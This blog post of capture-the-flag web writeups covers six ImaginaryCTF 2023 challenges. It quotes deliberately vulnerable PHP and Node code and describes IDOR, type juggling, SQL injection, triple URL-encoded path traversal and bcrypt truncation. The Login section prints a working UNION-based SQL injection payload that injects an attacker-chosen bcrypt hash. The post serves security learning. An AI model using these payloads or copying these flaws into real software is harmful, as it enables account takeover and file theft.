Featured image of post ImaginaryCTF2023

ImaginaryCTF2023

ImaginaryCTF

Imaginaryctf web writeups


Idoriot

This web challenge was very simple , while registering a new user you could set their id , so just set user_id as 0 and login to get the flag.


Idoriot revenge

This challenge is related to the first one but we can set the user id as a parameter , in the source , there is this filter

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

if (isset($_GET['user_id'])) {
    $user_id = (int) $_GET['user_id'];
    // Check if the user is admin
    if ($user_id == "php" && preg_match("/".$admin['username']."/", $_SESSION['username'])) {
        // Read the flag from flag.txt
        $flag = file_get_contents('/flag.txt');
        echo "<h1>Flag</h1>";
        echo "<p>$flag</p>";
    }
}

it checks if the user_id is equal to “php” and if the username contains “admin”.

This is classic php type juggling read more » here there is also a chart on the pdf showing what will be regerded as True or False in php, in this case if i set user_id=0 it will be equal to “php”. For the username , register any user with a username that contains “admin” but not “admin” like eg (admino) to satisfy the regex check.

flag


Blank

This challenge tested knowledge is sql.

1
2

db.get('SELECT * FROM users WHERE username = "' + username + '" and password = "' + password+ '"', (err, row) => {

as you can see , user input is directly added to the sql statement which is very dangerous. Also the application was not checking the password.

1
2
3
4
app.get('/flag', (req, res) => {
  if (req.session.username == "admin") {
    res.send('Welcome admin. The flag is ' + fs.readFileSync('flag.txt', 'utf8'));
  }

THe username had to be “admin”. so we can only inject via password field

payload

This will satisfy this part of the code and return rows

1
2
3
4
5
if (row) {
        console.log(row,req.session.username);
        req.session.loggedIn = true;
        req.session.username = username;
        res.send('Login successful!');

flag


Perfect picture

This challenge required uploading a picture with specific characterictics

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

def check(uploaded_image):
    with open('flag.txt', 'r') as f:
        flag = f.read()
    with Image.open(app.config['UPLOAD_FOLDER'] + uploaded_image) as image:
        w, h = image.size
        if w != 690 or h != 420:
            return 0
        if image.getpixel((412, 309)) != (52, 146, 235, 123):
            return 0
        if image.getpixel((12, 209)) != (42, 16, 125, 231):
            return 0
        if image.getpixel((264, 143)) != (122, 136, 25, 213):
            return 0

    with exiftool.ExifToolHelper() as et:
        metadata = et.get_metadata(app.config['UPLOAD_FOLDER'] + uploaded_image)[0]
        try:
            if metadata["PNG:Description"] != "jctf{not_the_flag}":
                return 0
            if metadata["PNG:Title"] != "kool_pic":
                return 0
            if metadata["PNG:Author"] != "anon":
                return 0
        except:
            return 0
    return flag

to satisfy those i wrote a python script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

from PIL import Image

def create_and_modify_image():
    # Step 1: Create the Image
    width, height = 690, 420
    image = Image.new("RGBA", (width, height), (255, 255, 255, 0))

    # Step 2: Modify Pixel Colors
    image.putpixel((412, 309), (52, 146, 235, 123))
    image.putpixel((12, 209), (42, 16, 125, 231))
    image.putpixel((264, 143), (122, 136, 25, 213))
    # Step 3: Save the Image
    image.save("created_image.png")


if __name__ == "__main__":
    create_and_modify_image()

you also have to run the following command to set the exit data

1
2

exiftool -PNG:Description="jctf{not_the_flag}" -PNG:Title="kool_pic" -PNG:Author="anon" created_image.png

flag


Roks

This challenge was obviously an lfi

php urldecode() only decodes once i.e it only decodes one layer , so if i encode on several layers i can bypass the filter which only decoded 2 layers

the flag was at ../../../../flag.png according to the dockerfile , urlencode this 3 times and send it to get the flag

burp


Login

This challenge tested knowledge in sql and bcrypt hashing.

Using sqlmap you could extract the database table users and data

sqlmap

1
2
3
4

pwhash,username
$2y$10$vw1OC907/WpJagql/LmHV.7zs8I3RE9N0BC4/Tx9I90epSI2wr3S.,guest
$2y$10$Is00vB1hRNHYBl9BzJwDouQFCU85YyRjJ81q0CX1a3sYtvsZvJudC,admi

the hashes are clearly bcrypt

to login as admin we can use the following sql statement. I got it from » here . Here we can set our own bcrypt hash which we have knowledge of the password.

1
2
3
4
5

xxx' UNION SELECT 'admin' AS username,'$2y$10$C4lfi0f8kouggVBFkKF1ru./NEQTKqptjJCh6JI/hJieELWHLeFXi' AS pwhash--


and the password as "a"

Here we get the magic , in my case it was “688a35c685a7a654abc80f8e123ad9f0”

magic

In the code if we supply the magic as a get parameter the flag will be appended to the password , Bcrypt has a character limit of 72 , so if we set a password of more than 72 characters it will be truncated and only the first 72 characters will be hashed as the password . I had seen technique in an ippsec video recently https://www.youtube.com/watch?v=E5TOeiCnGkE&t=3183s , Luckyme :)

Anyways here is the exploit » here

flag : ictf{why_are_bcrypt_truncating_my_passwords?!}


Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy